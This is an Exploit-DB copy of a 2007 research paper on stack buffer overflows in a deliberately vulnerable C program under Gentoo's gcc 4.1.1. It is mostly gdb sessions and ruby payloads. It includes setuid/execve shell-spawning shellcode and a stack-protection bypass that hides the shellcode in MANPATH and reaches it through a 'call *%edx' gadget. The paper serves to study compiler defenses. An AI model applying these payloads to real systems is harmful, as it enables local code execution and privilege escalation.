- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13097
- Проверка EDB
-
- Пройдено
- Автор
- XWINGS
- Тип уязвимости
- PAPERS
- Платформа
- MULTIPLE
- CVE
- N/A
- Дата публикации
- 2007-04-18
Код:
=================================================================================================
* *
* Title: Buffer Overflow testing on gentoo gcc 4.1.1 *
* *
* Author: KaiJern, Lau @ xwings <at> security <dot> net <dot> my *
* url : http://blog.xwings.net *
* Date : April / 2007 *
* *
=================================================================================================
Content :
i. Introduction
ii. Overwritting %eip ?
iii. Quick fix ?
iv. call %edx
** [ i. Introduction ] **
This small note will talk about how randomzie allocated stack like
protection in gcc 4.1 can protect from being overflowed.
My testing enviroment will base on Q2.2007 Gentoo. with gcc 4.1.1.
When gcc 3.4 came out, they intoroduce some new protections into the compiler.
The whole idea is to protect vuln. binary being exploite and harder to smash the stack.
I mean HARDER.
Again, in gcc 4.1. There are something new and also interesting.
From : http://gcc.gnu.org/gcc-4.1/changes.html
* GCC can now emit code for protecting applications from stack-smashing attacks.
The protection is realized by buffer overflow detection and reordering
of stack variables to avoid pointer corruption.
* Some built-in functions have been fortified to protect them against various
buffer overflow (and format string) vulnerabilities. Compared to the mudflap bounds
checking feature, the safe builtins have far smaller overhead. This means that programs
built using safe builtins should not experience any measurable slowdown.
System Overview :
OS : Linux
Distro : Gentoo , Q2 2007
- Gentoo Kernel
- Linux mybox 2.6.19-gentoo-r5
GCC's Version and compile option. Gentoo's emerge.
$ gcc -v
Using built-in specs.
Target: i686-pc-linux-gnu
Configured with:
/var/tmp/portage/sys-devel/gcc-4.1.1-r3/work/gcc-4.1.1/configure
--prefix=/usr --bindir=/usr/i686-pc-linux-gnu/gcc-bin/4.1.1
--includedir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include
--datadir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1
--mandir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/man
--infodir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/info
--with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include/g++-v4
--host=i686-pc-linux-gnu --build=i686-pc-linux-gnu --disable-altivec
--enable-nls --without-included-gettext --with-system-zlib --disable-checking
--disable-werror --enable-secureplt --disable-libunwind-exceptions --disable-multilib
--disable-libmudflap --disable-libssp --disable-libgcj --enable-languages=c,c++,fortran
--enable-shared --enable-threads=posix --enable-__cxa_atexit --enable-clocale=gnu
Thread model: posix
gcc version 4.1.1 (Gentoo 4.1.1-r3)
** [ ii. Overwritting %eip ? ] **
The classic example (Gera's Law):
[File : abo1.c ]
/* abo1.c */
/* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced... */
/* edited by : xWinGs @ xWinGs . net */
#include<stdio.h>
int main(int argv,char **argc) {
char buf[512];
if (argv < 2)
{
printf ("Error !!!\n");
exit (1);
}
strcpy(buf,argc[1]);
printf("Input : %s\n",buf);
}
[ abo1.c : EOF ]
Compile and run.
$ gcc -o abo1 abo1.c
$ gdb ./abo1
gdb>r `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`
Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000209 ebx:B7FACFF4 ecx:BFCEB300 edx:00000000 eflags:00210282
esi:B7FE0CA0 edi:00000000 esp:BFCEB300 ebp:BFCEB408 eip:45454545
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFCEB300]---------------------------------------------------------[stack]
BFCEB330 : 46 46 46 46 46 46 46 46 - 46 46 46 46 46 46 46 46 FFFFFFFFFFFFFFFF
BFCEB320 : 45 45 45 45 46 46 46 46 - 46 46 46 46 46 46 46 46 EEEEFFFFFFFFFFFF
BFCEB310 : 45 45 45 45 45 45 45 45 - 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
BFCEB300 : 45 45 45 45 45 45 45 45 - 45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
[007B:B7FE0CA0]---------------------------------------------------------[ data]
B7FE0CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 DB B5 CE BF ................
B7FE0CB0 : 04 00 00 00 70 46 FC B7 - 03 00 00 00 64 00 00 00 ....pF......d...
[0073:45454545]---------------------------------------------------------[ code]
0x45454545: Error while running hook_stop:
Cannot access memory at address 0x45454545
0x45454545 in ?? ()
First test, we are taking control of %eip. Total of 512 bytes will be good enought to
cover the %eip.
gdb>r `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`
Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000209 ebx:B7F2EFF4 ecx:BF85D700 edx:00000000 eflags:00210282
esi:B7F62CA0 edi:00000000 esp:BF85D700 ebp:BF85D778 eip:49494949
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BF85D700]---------------------------------------------------------[stack]
BF85D730 : 00 00 00 00 A0 66 F4 B7 - 01 00 00 00 01 00 00 00 .....f..........
BF85D720 : 02 00 00 00 A4 D7 85 BF - B0 D7 85 BF B4 56 F5 B7 .............V..
BF85D710 : A0 2C F6 B7 E0 84 04 08 - 78 D7 85 BF 38 08 E2 B7 .,......x...8...
BF85D700 : 49 49 49 49 00 D7 85 BF - 78 D7 85 BF 38 08 E2 B7 IIII....x...8...
[007B:B7F62CA0]---------------------------------------------------------[ data]
B7F62CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 4B D9 85 BF ............K...
B7F62CB0 : 04 00 00 00 70 66 F4 B7 - 03 00 00 00 64 00 00 00 ....pf......d...
[0073:49494949]---------------------------------------------------------[ code]
0x49494949: Error while running hook_stop:
Cannot access memory at address 0x49494949
0x49494949 in ?? ()
If we run this again, the %eip location seems to be changing. There is a randomized
kind of protection build in to gcc.
What if we put in [512] + 4. What will happend ?
gdb>r `ruby -e 'print "A" * 512;print "B" * 4'`
Failed to read a valid object file image from memory.
Input : AAAAAAAA.......AAABBBB
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:0000020D ebx:B7F10FF4 ecx:42424242 edx:00000000 eflags:00210282
esi:B7F44CA0 edi:00000000 esp:4242423E ebp:BF9E1F00 eip:080484C2
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:4242423E]---------------------------------------------------------[stack]
4242426E : Error while running hook_stop:
Cannot access memory at address 0x4242426a <------ Suppose to be 0x42424242
0x080484c2 in main ()
If the buffer more then 512, it will take in [512] + 4, the last 4 bytes with the last byte
corrupted.
It seems like we can overwrite the last 4 bytes. But the last 1 byte in the 4 bytes seems to be
change. So , by doing some adjustment will make it goes back to normal.
gdb>r `ruby -e 'print "A" * 512;print "\x16\x42\x42\x42"'`
Failed to read a valid object file image from memory.
Input : AAAAAAA.....AAABBB
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:0000020D ebx:B7F0FFF4 ecx:42424216 edx:00000000 eflags:00210282
esi:B7F43CA0 edi:00000000 esp:42424212 ebp:BFA6F600 eip:080484C2
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:42424212]---------------------------------------------------------[stack]
42424242 : Error while running hook_stop:
Cannot access memory at address 0x42424242 <------ Back to 0x42424242
0x080484c2 in main ()
Sometimes, by putting in 512 bytes it will still not possible to overflow.
gdb>r `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`
Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]
Program exited with code 011.
_______________________________________________________________________________
Error while running hook_stop:
No registers.
Thish means there is no way for us to fix the eip and trow in the ret address.
Izik's method using [nop + jmp esp + nop shellcode] will not work anymore.
At least at this case.
** [ iii. Quick fix ? ] **
If we follow izik's paper : * 0xffffe75b : jmp *%esp.
gdb>r `ruby -e 'print "\x5b\xe7\xff\xff" * 10;print "\x41" * 76;
print "\x5b\xe7\xff\xff" * 15;print "\x90" * 80;print "\x0a\xe7\xff\xff"'`
Failed to read a valid object file image from memory.
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BFFDE654 ebx:FFFFE75B ecx:BFFDE700 edx:BFFDF2FE eflags:00210282
esi:B7F56CA0 edi:00000000 esp:BFFDE704 ebp:BFFDE7C8 eip:BFFDE701
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFDE704]---------------------------------------------------------[stack]
BFFDE734 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFDE724 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFDE714 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFDE704 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
[007B:B7F56CA0]---------------------------------------------------------[ data]
B7F56CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 AB E9 FD BF ................
B7F56CB0 : 04 00 00 00 70 A6 F3 B7 - 03 00 00 00 64 00 00 00 ....p.......d...
[0073:BFFDE701]---------------------------------------------------------[ code]
0xbffde701: out 0xff,eax
0xbffde703: call DWORD PTR [eax-0x6f6f6f70]
0xbffde709: nop
0xbffde70a: nop
0xbffde70b: nop
0xbffde70c: nop
------------------------------------------------------------------------------
0xbffde701 in ?? ()
gdb>x/5s $esp
0xbffde704: '\220' <repeats 80 times>
0xbffde755: "�����8Hᷠl��\203\004\b���8H�\003"
0xbffde772: ""
0xbffde773: ""
0xbffde774: "���\004��\226�"
Or we put in shellcodes.
gdb>r `ruby -e 'print "\x5c\xe7\xff\xff" * 10;print "\x41" * 76;
print "\x5b\xe7\xff\xff" * 15;print "\x90" * 46;
print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50";
print "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52";
print "\x53\x89\xe1\xb0\x0b\xcd\x80";print "\x0a\xe7\xff\xff"'`
Failed to read a valid object file image from memory.
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BFFD9654 ebx:FFFFE75B ecx:BFFD9700 edx:BFFDB2FE eflags:00210282
esi:B7F93CA0 edi:00000000 esp:BFFD9704 ebp:BFFD97C8 eip:BFFD9701
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFD9704]---------------------------------------------------------[stack]
BFFD9734 : B0 17 CD 80 B0 2E CD 80 - 31 C0 50 68 6E 2F 73 68 ........1.Phn/sh
BFFD9724 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 31 DB ..............1.
BFFD9714 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
BFFD9704 : 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ................
[007B:B7F93CA0]---------------------------------------------------------[ data]
B7F93CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 AB 99 FD BF ................
B7F93CB0 : 04 00 00 00 70 76 F7 B7 - 03 00 00 00 64 00 00 00 ....pv......d...
[0073:BFFD9701]---------------------------------------------------------[ code]
0xbffd9701: out 0xff,eax
0xbffd9703: call DWORD PTR [eax-0x6f6f6f70]
0xbffd9709: nop
0xbffd970a: nop
0xbffd970b: nop
0xbffd970c: nop
------------------------------------------------------------------------------
0xbffd9701 in ?? ()
gdb>x/5s $esp
0xbffd9704: '\220' <repeats 46 times>, "1۰\027�\200�.�\2001�Phn/shh//bi
\211�\231RS\211�\v�\200"
0xbffd9755: "\227��\227�8\030å· <��\203\004\b�\227�8\030�\003"
0xbffd9772: ""
0xbffd9773: ""
0xbffd9774: "�\227�\004\230�f�"
gdb>x/5s $eip
0xbffd9701: "���", '\220' <repeats 46 times>, "1۰\027�\200�.�\2001�Phn/
shh//bi\211�\231RS\211�\v�\200"
0xbffd9755: "\227��\227�8\030å· <��\203\004\b�\227�8\030�\003"
0xbffd9772: ""
0xbffd9773: ""
0xbffd9774: "�\227�\004\230�f�"
What can we see from here ? jmp *%esp did not really work.
It copies the extra 4 bytes as the %esp header.
[512] + 4 , 4 extra bytes.
There is a quick and dirty way to bypass all these. This method we gonna talk about
only good for local exploit. Not remote.
So, this are the few things I discover during the testing process.
i. jmp %esp is not possible for me.
ii. [buffer] + 4 is not possible also (atm , maybe ?)
Good thing about [buffer] + 4 will fix the ret address at the last 4 bytes,
but our major objective is to exec() the shellcode.
** [ iv. call %edx ] **
Again, the golden example,
$ cat abo1.c
#include<stdio.h>
int main(int argc,char **argv) {
char buf[256];
strcpy(buf,argv[1]);
}
Here is a quick and dirty way to by pass the protection.
If the overflow happends again.
gdb>r `ruby -e 'print "\x41" * 256'`
Failed to read a valid object file image from memory.
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BFE16D34 ebx:B7EE2FF4 ecx:BFE16E00 edx:BFE17392 eflags:00210282
esi:B7F16CA0 edi:00000000 esp:BFE16E00 ebp:BFE16EA8 eip:41414141
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFE16E00]---------------------------------------------------------[stack]
BFE16E30 : 41 41 41 41 00 6E E1 BF - A8 6E E1 BF 38 48 DD B7 AAAA.n...n..8H..
BFE16E20 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E10 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E00 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
[007B:B7F16CA0]---------------------------------------------------------[ data]
B7F16CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 7B 70 E1 BF ............{p..
B7F16CB0 : 04 00 00 00 70 A6 EF B7 - 03 00 00 00 64 00 00 00 ....p.......d...
[0073:41414141]---------------------------------------------------------[ code]
0x41414141: Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb>x/s $edx
0xbfe17392: "LC_PAPER=en_US"
Clearly, $edx is going back the the stack. So jmp %edx or call %edx will help in this case.
To look for the right jump
$ objdump -d ./abo1 | grep edx | grep call
8048369: ff d2 call *%edx
There are two things need to be fufilled.
i. Buffer sized need to be 256
ii. Ret address is randomized. It will be anywhere within the stack.
In order to fix this part. We need to fill the stack with %edx address.
gdb>r `ruby -e 'print "\x69\x83\x04\x08" * 64'`
Failed to read a valid object file image from memory.
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BF90E78D ebx:B7F53FF5 ecx:BF90E802 edx:BF910302 eflags:00210A96
esi:B7F87C9F edi:04836B08 esp:BF90E7E7 ebp:BF90E909 eip:BF91031E
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B O d I t S z A P c
[007B:BF90E7E7]---------------------------------------------------------[stack]
BF90E817 : 08 69 83 04 08 69 83 04 - 08 69 83 04 08 69 83 04 .i...i...i...i..
BF90E807 : 08 69 83 04 08 69 83 04 - 08 69 83 04 08 69 83 04 .i...i...i...i..
BF90E7F7 : 94 E7 90 BF 94 E7 90 BF - 08 69 83 04 08 69 83 04 .........i...i..
BF90E7E7 : EB E7 90 BF 94 E7 90 BF - F5 3F F5 B7 02 03 91 BF .........?......
[007B:B7F87C9F]---------------------------------------------------------[ data]
B7F87C9F : 00 00 00 00 00 00 10 00 - 00 13 06 02 00 DB EA 90 ................
B7F87CAF : BF 04 00 00 00 70 B6 F6 - B7 03 00 00 00 64 00 00 .....p.......d..
[0073:BF91031E]---------------------------------------------------------[ code]
0xbf91031e: ins BYTE PTR es:[edi],[dx]
0xbf91031f: outs [dx],DWORD PTR ds:[esi]
0xbf910320: arpl WORD PTR [ecx+108],sp
0xbf910323: das
0xbf910324: jae 0xbf91038e
0xbf910326: popa
------------------------------------------------------------------------------
0xbf91031e in ?? ()
gdb>x/5s $edx
0xbf910302: "LC_PAPER=en_US"
0xbf910311: "MANPATH=/usr/local/share/man:/usr/share/man:/usr/share/binutilsdata
/i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu
/4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man"
0xbf9103d1: "KDE_MULTIHEAD=false"
0xbf9103e5: "LC_ADDRESS=en_US"
0xbf9103f6: "LC_MONETARY=en_US"
gdb>x/5s $eip
0xbf91031e: "local/share/man:/usr/share/man:/usr/share/binutils-data/
i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu
/4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man"
0xbf9103d1: "KDE_MULTIHEAD=false"
0xbf9103e5: "LC_ADDRESS=en_US"
0xbf9103f6: "LC_MONETARY=en_US"
0xbf910408: "MRXVT_TABTITLE=Terminal"
If %eip starts at somewhere in side $MANPATH. Replacing values within $MANPATH will work ?
$ export MANPATH="/usr/`ruby -e 'print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0
\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`"
$ gdb -q ./abo1
gdb>r `ruby -e 'print "\x69\x83\x04\x08" * 64'`
Failed to read a valid object file image from memory.
sh-3.1$ uname -a
Linux muscat 2.6.19-gentoo-r5 #10 SMP Sat Feb 24 02:23:15 MYT 2007 i686 Genuine Intel(R) CPU
Bingo !!
Thanx to : rd@thc, izik@tty64, beist@beist and all the folks from hackinthebox.org
=================================================================================================
* *
* Title: Overflow testing on gentoo's gcc 4.1.1 *
* *
* Author: KaiJern, Lau @ xwings <at> security <dot> net <dot> my *
* url : http://blog.xwings.net *
* Date : April / 2007 *
* *
* *
* --- EOF --- *
* *
=================================================================================================
# milw0rm.com [2007-04-18]
- Источник
- www.exploit-db.com